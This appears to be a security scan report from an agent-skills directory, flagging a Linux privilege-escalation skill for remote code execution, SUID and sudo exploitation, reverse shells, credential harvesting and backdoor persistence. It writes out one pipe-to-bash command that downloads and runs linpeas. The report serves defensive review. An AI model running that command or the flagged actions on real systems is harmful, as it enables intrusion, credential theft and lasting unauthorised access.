The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides a command to download and execute a shell script directly from GitHub via a pipe to bash in SKILL.md (e.g., curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash).- [PRIVILEGE_ESCALATION]: The references/suid-capability-exploitation.md file contains detailed instructions and commands for exploiting SUID binaries, Linux capabilities, and sudo misconfigurations to gain administrative privileges.- [DATA_EXFILTRATION]: Documentation in references/suid-capability-exploitation.md includes templates for reverse shells using /dev/tcp to establish connections to external attacker-controlled IP addresses.- [CREDENTIALS_UNSAFE]: The skill provides instructions for harvesting credentials from user profile files (.bashrc, .zshrc), database configuration files, and accessing the sensitive /etc/shadow file.- [COMMAND_EXECUTION]: Numerous examples are provided for spawning interactive root shells using various binaries like find, python, perl, and ruby.- [PERSISTENCE]: The skill details methods for maintaining access across system reboots, such as creating backdoor cron jobs and inserting SSH keys into the authorized_keys file.- [EXTERNAL_DOWNLOADS]: The skill references external URLs like book.hacktricks.xyz, which have been flagged by security scanners for potential malicious associations.

linpeas